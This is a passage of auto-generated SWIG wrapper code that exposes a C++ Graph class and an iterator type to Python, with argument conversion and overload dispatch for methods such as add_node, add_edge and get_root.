SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator___add__" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); ecode2 = SWIG_AsVal_ptrdiff_t(swig_obj[1], &val2); if (!SWIG_IsOK(ecode2)) { SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "SwigPyIterator___add__" "', argument " "2"" of type '" "ptrdiff_t""'"); } arg2 = static_cast< ptrdiff_t >(val2); try { result = (swig::SwigPyIterator *)((swig::SwigPyIterator const *)arg1)->operator +(arg2); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_OWN | 0 ); return resultobj; fail: PyErr_Clear(); Py_INCREF(Py_NotImplemented); return Py_NotImplemented; } SWIGINTERN PyObject *_wrap_SwigPyIterator___sub____SWIG_0(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; ptrdiff_t arg2 ; void *argp1 = 0 ; int res1 = 0 ; ptrdiff_t val2 ; int ecode2 = 0 ; swig::SwigPyIterator *result = 0 ; if ((nobjs < 2) || (nobjs > 2)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator___sub__" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); ecode2 = SWIG_AsVal_ptrdiff_t(swig_obj[1], &val2); if (!SWIG_IsOK(ecode2)) { SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "SwigPyIterator___sub__" "', argument " "2"" of type '" "ptrdiff_t""'"); } arg2 = static_cast< ptrdiff_t >(val2); try { result = (swig::SwigPyIterator *)((swig::SwigPyIterator const *)arg1)->operator -(arg2); } catch(swig::stop_iteration &_e) { { (void)_e; SWIG_SetErrorObj(PyExc_StopIteration, SWIG_Py_Void()); SWIG_fail; } } resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_OWN | 0 ); return resultobj; fail: PyErr_Clear(); Py_INCREF(Py_NotImplemented); return Py_NotImplemented; } SWIGINTERN PyObject *_wrap_SwigPyIterator___sub____SWIG_1(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; swig::SwigPyIterator *arg1 = (swig::SwigPyIterator *) 0 ; swig::SwigPyIterator *arg2 = 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; ptrdiff_t result; if ((nobjs < 2) || (nobjs > 2)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_swig__SwigPyIterator, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "SwigPyIterator___sub__" "', argument " "1"" of type '" "swig::SwigPyIterator const *""'"); } arg1 = reinterpret_cast< swig::SwigPyIterator * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2, SWIGTYPE_p_swig__SwigPyIterator, 0 | 0); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "SwigPyIterator___sub__" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } if (!argp2) { SWIG_exception_fail(SWIG_ValueError, "invalid null reference " "in method '" "SwigPyIterator___sub__" "', argument " "2"" of type '" "swig::SwigPyIterator const &""'"); } arg2 = reinterpret_cast< swig::SwigPyIterator * >(argp2); result = ((swig::SwigPyIterator const *)arg1)->operator -((swig::SwigPyIterator const &)*arg2); resultobj = SWIG_From_ptrdiff_t(static_cast< ptrdiff_t >(result)); return resultobj; fail: PyErr_Clear(); Py_INCREF(Py_NotImplemented); return Py_NotImplemented; } SWIGINTERN PyObject *_wrap_SwigPyIterator___sub__(PyObject *self, PyObject *args) { Py_ssize_t argc; PyObject *argv[3] = { 0 }; if (!(argc = SWIG_Python_UnpackTuple(args, "SwigPyIterator___sub__", 0, 2, argv))) SWIG_fail; --argc; if (argc == 2) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_swig__SwigPyIterator, 0); _v = SWIG_CheckState(res); if (_v) { int res = SWIG_ConvertPtr(argv[1], 0, SWIGTYPE_p_swig__SwigPyIterator, SWIG_POINTER_NO_NULL | 0); _v = SWIG_CheckState(res); if (_v) { return _wrap_SwigPyIterator___sub____SWIG_1(self, argc, argv); } } } if (argc == 2) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_swig__SwigPyIterator, 0); _v = SWIG_CheckState(res); if (_v) { { int res = SWIG_AsVal_ptrdiff_t(argv[1], NULL); _v = SWIG_CheckState(res); } if (_v) { return _wrap_SwigPyIterator___sub____SWIG_0(self, argc, argv); } } } fail: Py_INCREF(Py_NotImplemented); return Py_NotImplemented; } SWIGINTERN PyObject *SwigPyIterator_swigregister(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *obj; if (!SWIG_Python_UnpackTuple(args, "swigregister", 1, 1, &obj)) return NULL; SWIG_TypeNewClientData(SWIGTYPE_p_swig__SwigPyIterator, SWIG_NewClientData(obj)); return SWIG_Py_Void(); } SWIGINTERN PyObject *_wrap_new_Graph__SWIG_0(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; std::string arg1 ; Graph *result = 0 ; if ((nobjs < 1) || (nobjs > 1)) SWIG_fail; { std::string *ptr = (std::string *)0; int res = SWIG_AsPtr_std_string(swig_obj[0], &ptr); if (!SWIG_IsOK(res) || !ptr) { SWIG_exception_fail(SWIG_ArgError((ptr ? res : SWIG_TypeError)), "in method '" "new_Graph" "', argument " "1"" of type '" "std::string""'"); } arg1 = *ptr; if (SWIG_IsNewObj(res)) delete ptr; } result = (Graph *)new Graph(arg1); resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Graph, SWIG_POINTER_NEW | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_new_Graph__SWIG_1(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; EasyLogger *arg1 = (EasyLogger *) 0 ; void *argp1 = 0 ; int res1 = 0 ; Graph *result = 0 ; if ((nobjs < 1) || (nobjs > 1)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_EasyLogger, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_Graph" "', argument " "1"" of type '" "EasyLogger *""'"); } arg1 = reinterpret_cast< EasyLogger * >(argp1); result = (Graph *)new Graph(arg1); resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Graph, SWIG_POINTER_NEW | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_new_Graph(PyObject *self, PyObject *args) { Py_ssize_t argc; PyObject *argv[2] = { 0 }; if (!(argc = SWIG_Python_UnpackTuple(args, "new_Graph", 0, 1, argv))) SWIG_fail; --argc; if (argc == 1) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_EasyLogger, 0); _v = SWIG_CheckState(res); if (_v) { return _wrap_new_Graph__SWIG_1(self, argc, argv); } } if (argc == 1) { int _v; int res = SWIG_AsPtr_std_string(argv[0], (std::string**)(0)); _v = SWIG_CheckState(res); if (_v) { return _wrap_new_Graph__SWIG_0(self, argc, argv); } } fail: SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'new_Graph'.\n" " Possible C/C++ prototypes are:\n" " Graph::Graph(std::string)\n" " Graph::Graph(EasyLogger *)\n"); return 0; } SWIGINTERN PyObject *_wrap_Graph_add_edge__SWIG_0(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; TNode *arg2 = (TNode *) 0 ; TNode *arg3 = (TNode *) 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; void *argp3 = 0 ; int res3 = 0 ; bool result; if ((nobjs < 3) || (nobjs > 3)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_add_edge" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2,SWIGTYPE_p_TNode, 0 | 0 ); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "Graph_add_edge" "', argument " "2"" of type '" "TNode *""'"); } arg2 = reinterpret_cast< TNode * >(argp2); res3 = SWIG_ConvertPtr(swig_obj[2], &argp3,SWIGTYPE_p_TNode, 0 | 0 ); if (!SWIG_IsOK(res3)) { SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "Graph_add_edge" "', argument " "3"" of type '" "TNode *""'"); } arg3 = reinterpret_cast< TNode * >(argp3); result = (bool)(arg1)->add_edge(arg2,arg3); resultobj = SWIG_From_bool(static_cast< bool >(result)); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_add_edge__SWIG_1(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; std::string arg2 ; std::string arg3 ; void *argp1 = 0 ; int res1 = 0 ; bool result; if ((nobjs < 3) || (nobjs > 3)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_add_edge" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); { std::string *ptr = (std::string *)0; int res = SWIG_AsPtr_std_string(swig_obj[1], &ptr); if (!SWIG_IsOK(res) || !ptr) { SWIG_exception_fail(SWIG_ArgError((ptr ? res : SWIG_TypeError)), "in method '" "Graph_add_edge" "', argument " "2"" of type '" "std::string""'"); } arg2 = *ptr; if (SWIG_IsNewObj(res)) delete ptr; } { std::string *ptr = (std::string *)0; int res = SWIG_AsPtr_std_string(swig_obj[2], &ptr); if (!SWIG_IsOK(res) || !ptr) { SWIG_exception_fail(SWIG_ArgError((ptr ? res : SWIG_TypeError)), "in method '" "Graph_add_edge" "', argument " "3"" of type '" "std::string""'"); } arg3 = *ptr; if (SWIG_IsNewObj(res)) delete ptr; } result = (bool)(arg1)->add_edge(arg2,arg3); resultobj = SWIG_From_bool(static_cast< bool >(result)); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_add_edge(PyObject *self, PyObject *args) { Py_ssize_t argc; PyObject *argv[4] = { 0 }; if (!(argc = SWIG_Python_UnpackTuple(args, "Graph_add_edge", 0, 3, argv))) SWIG_fail; --argc; if (argc == 3) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_Graph, 0); _v = SWIG_CheckState(res); if (_v) { void *vptr = 0; int res = SWIG_ConvertPtr(argv[1], &vptr, SWIGTYPE_p_TNode, 0); _v = SWIG_CheckState(res); if (_v) { void *vptr = 0; int res = SWIG_ConvertPtr(argv[2], &vptr, SWIGTYPE_p_TNode, 0); _v = SWIG_CheckState(res); if (_v) { return _wrap_Graph_add_edge__SWIG_0(self, argc, argv); } } } } if (argc == 3) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_Graph, 0); _v = SWIG_CheckState(res); if (_v) { int res = SWIG_AsPtr_std_string(argv[1], (std::string**)(0)); _v = SWIG_CheckState(res); if (_v) { int res = SWIG_AsPtr_std_string(argv[2], (std::string**)(0)); _v = SWIG_CheckState(res); if (_v) { return _wrap_Graph_add_edge__SWIG_1(self, argc, argv); } } } } fail: SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'Graph_add_edge'.\n" " Possible C/C++ prototypes are:\n" " Graph::add_edge(TNode *,TNode *)\n" " Graph::add_edge(std::string,std::string)\n"); return 0; } SWIGINTERN PyObject *_wrap_Graph_get_node(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; std::string arg2 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[2] ; TNode *result = 0 ; if (!SWIG_Python_UnpackTuple(args, "Graph_get_node", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_get_node" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); { std::string *ptr = (std::string *)0; int res = SWIG_AsPtr_std_string(swig_obj[1], &ptr); if (!SWIG_IsOK(res) || !ptr) { SWIG_exception_fail(SWIG_ArgError((ptr ? res : SWIG_TypeError)), "in method '" "Graph_get_node" "', argument " "2"" of type '" "std::string""'"); } arg2 = *ptr; if (SWIG_IsNewObj(res)) delete ptr; } result = (TNode *)(arg1)->get_node(arg2); resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_TNode, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_add_node__SWIG_0(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; std::string arg2 ; void *argp1 = 0 ; int res1 = 0 ; bool result; if ((nobjs < 2) || (nobjs > 2)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_add_node" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); { std::string *ptr = (std::string *)0; int res = SWIG_AsPtr_std_string(swig_obj[1], &ptr); if (!SWIG_IsOK(res) || !ptr) { SWIG_exception_fail(SWIG_ArgError((ptr ? res : SWIG_TypeError)), "in method '" "Graph_add_node" "', argument " "2"" of type '" "std::string""'"); } arg2 = *ptr; if (SWIG_IsNewObj(res)) delete ptr; } result = (bool)(arg1)->add_node(arg2); resultobj = SWIG_From_bool(static_cast< bool >(result)); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_add_node__SWIG_1(PyObject *SWIGUNUSEDPARM(self), Py_ssize_t nobjs, PyObject **swig_obj) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; TNode *arg2 = (TNode *) 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; bool result; if ((nobjs < 2) || (nobjs > 2)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_add_node" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2,SWIGTYPE_p_TNode, 0 | 0 ); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "Graph_add_node" "', argument " "2"" of type '" "TNode *""'"); } arg2 = reinterpret_cast< TNode * >(argp2); result = (bool)(arg1)->add_node(arg2); resultobj = SWIG_From_bool(static_cast< bool >(result)); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_add_node(PyObject *self, PyObject *args) { Py_ssize_t argc; PyObject *argv[3] = { 0 }; if (!(argc = SWIG_Python_UnpackTuple(args, "Graph_add_node", 0, 2, argv))) SWIG_fail; --argc; if (argc == 2) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_Graph, 0); _v = SWIG_CheckState(res); if (_v) { void *vptr = 0; int res = SWIG_ConvertPtr(argv[1], &vptr, SWIGTYPE_p_TNode, 0); _v = SWIG_CheckState(res); if (_v) { return _wrap_Graph_add_node__SWIG_1(self, argc, argv); } } } if (argc == 2) { int _v; void *vptr = 0; int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_Graph, 0); _v = SWIG_CheckState(res); if (_v) { int res = SWIG_AsPtr_std_string(argv[1], (std::string**)(0)); _v = SWIG_CheckState(res); if (_v) { return _wrap_Graph_add_node__SWIG_0(self, argc, argv); } } } fail: SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'Graph_add_node'.\n" " Possible C/C++ prototypes are:\n" " Graph::add_node(std::string)\n" " Graph::add_node(TNode *)\n"); return 0; } SWIGINTERN PyObject *_wrap_Graph_get_candidate_roots(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; std::list< TNode *,std::allocator< TNode * > > *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_get_candidate_roots" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); result = (std::list< TNode *,std::allocator< TNode * > > *)(arg1)->get_candidate_roots(); resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_get_leaves(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; std::list< TNode *,std::allocator< TNode * > > *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_get_leaves" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); result = (std::list< TNode *,std::allocator< TNode * > > *)(arg1)->get_leaves(); resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_pick_root(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_pick_root" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); (arg1)->pick_root(); resultobj = SWIG_Py_Void(); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_print_nodes(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_print_nodes" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); (arg1)->print_nodes(); resultobj = SWIG_Py_Void(); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_get_root(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; TNode *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_get_root" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); result = (TNode *)(arg1)->get_root(); resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_TNode, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_set_root(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; TNode *arg2 = (TNode *) 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; PyObject *swig_obj[2] ; if (!SWIG_Python_UnpackTuple(args, "Graph_set_root", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_set_root" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2,SWIGTYPE_p_TNode, 0 | 0 ); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "Graph_set_root" "', argument " "2"" of type '" "TNode *""'"); } arg2 = reinterpret_cast< TNode * >(argp2); (arg1)->set_root(arg2); resultobj = SWIG_Py_Void(); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_get_max_depth(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; TNode *arg2 = (TNode *) 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; PyObject *swig_obj[2] ; unsigned int result; if (!SWIG_Python_UnpackTuple(args, "Graph_get_max_depth", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_get_max_depth" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2,SWIGTYPE_p_TNode, 0 | 0 ); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "Graph_get_max_depth" "', argument " "2"" of type '" "TNode *""'"); } arg2 = reinterpret_cast< TNode * >(argp2); result = (unsigned int)(arg1)->get_max_depth(arg2); resultobj = SWIG_From_unsigned_SS_int(static_cast< unsigned int >(result)); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_m_graph_set(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; std::unordered_map< std::string,TNode *,std::hash< std::string >,std::equal_to< std::string >,std::allocator< std::pair< std::string const,TNode * > > > *arg2 = (std::unordered_map< std::string,TNode *,std::hash< std::string >,std::equal_to< std::string >,std::allocator< std::pair< std::string const,TNode * > > > *) 0 ; void *argp1 = 0 ; int res1 = 0 ; void *argp2 = 0 ; int res2 = 0 ; PyObject *swig_obj[2] ; if (!SWIG_Python_UnpackTuple(args, "Graph_m_graph_set", 2, 2, swig_obj)) SWIG_fail; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_m_graph_set" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); res2 = SWIG_ConvertPtr(swig_obj[1], &argp2,SWIGTYPE_p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t, SWIG_POINTER_DISOWN | 0 ); if (!SWIG_IsOK(res2)) { SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "Graph_m_graph_set" "', argument " "2"" of type '" "std::unordered_map< std::string,TNode *,std::hash< std::string >,std::equal_to< std::string >,std::allocator< std::pair< std::string const,TNode * > > > *""'"); } arg2 = reinterpret_cast< std::unordered_map< std::string,TNode *,std::hash< std::string >,std::equal_to< std::string >,std::allocator< std::pair< std::string const,TNode * > > > * >(argp2); if (arg1) (arg1)->m_graph = arg2; resultobj = SWIG_Py_Void(); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_Graph_m_graph_get(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; std::unordered_map< std::string,TNode *,std::hash< std::string >,std::equal_to< std::string >,std::allocator< std::pair< std::string const,TNode * > > > *result = 0 ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, 0 | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Graph_m_graph_get" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); result = (std::unordered_map< std::string,TNode *,std::hash< std::string >,std::equal_to< std::string >,std::allocator< std::pair< std::string const,TNode * > > > *) ((arg1)->m_graph); resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t, 0 | 0 ); return resultobj; fail: return NULL; } SWIGINTERN PyObject *_wrap_delete_Graph(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *resultobj = 0; Graph *arg1 = (Graph *) 0 ; void *argp1 = 0 ; int res1 = 0 ; PyObject *swig_obj[1] ; if (!args) SWIG_fail; swig_obj[0] = args; res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_Graph, SWIG_POINTER_DISOWN | 0 ); if (!SWIG_IsOK(res1)) { SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_Graph" "', argument " "1"" of type '" "Graph *""'"); } arg1 = reinterpret_cast< Graph * >(argp1); delete arg1; resultobj = SWIG_Py_Void(); return resultobj; fail: return NULL; } SWIGINTERN PyObject *Graph_swigregister(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { PyObject *obj; if (!SWIG_Python_UnpackTuple(args, "swigregister", 1, 1, &obj)) return NULL; SWIG_TypeNewClientData(SWIGTYPE_p_Graph, SWIG_NewClientData(obj)); return SWIG_Py_Void(); } SWIGINTERN PyObject *Graph_swiginit(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { return SWIG_Python_InitShadowInstance(args); } static PyMethodDef SwigMethods[] = { { "SWIG_PyInstanceMethod_New", SWIG_PyInstanceMethod_New, METH_O, NULL}, { "delete_SwigPyIterator", _wrap_delete_SwigPyIterator, METH_O, NULL}, { "SwigPyIterator_value", _wrap_SwigPyIterator_value, METH_O, NULL}, { "SwigPyIterator_incr", _wrap_SwigPyIterator_incr, METH_VARARGS, NULL}, { "SwigPyIterator_decr", _wrap_SwigPyIterator_decr, METH_VARARGS, NULL}, { "SwigPyIterator_distance", _wrap_SwigPyIterator_distance, METH_VARARGS, NULL}, { "SwigPyIterator_equal", _wrap_SwigPyIterator_equal, METH_VARARGS, NULL}, { "SwigPyIterator_copy", _wrap_SwigPyIterator_copy, METH_O, NULL}, { "SwigPyIterator_next", _wrap_SwigPyIterator_next, METH_O, NULL}, { "SwigPyIterator___next__", _wrap_SwigPyIterator___next__, METH_O, NULL}, { "SwigPyIterator_previous", _wrap_SwigPyIterator_previous, METH_O, NULL}, { "SwigPyIterator_advance", _wrap_SwigPyIterator_advance, METH_VARARGS, NULL}, { "SwigPyIterator___eq__", _wrap_SwigPyIterator___eq__, METH_VARARGS, NULL}, { "SwigPyIterator___ne__", _wrap_SwigPyIterator___ne__, METH_VARARGS, NULL}, { 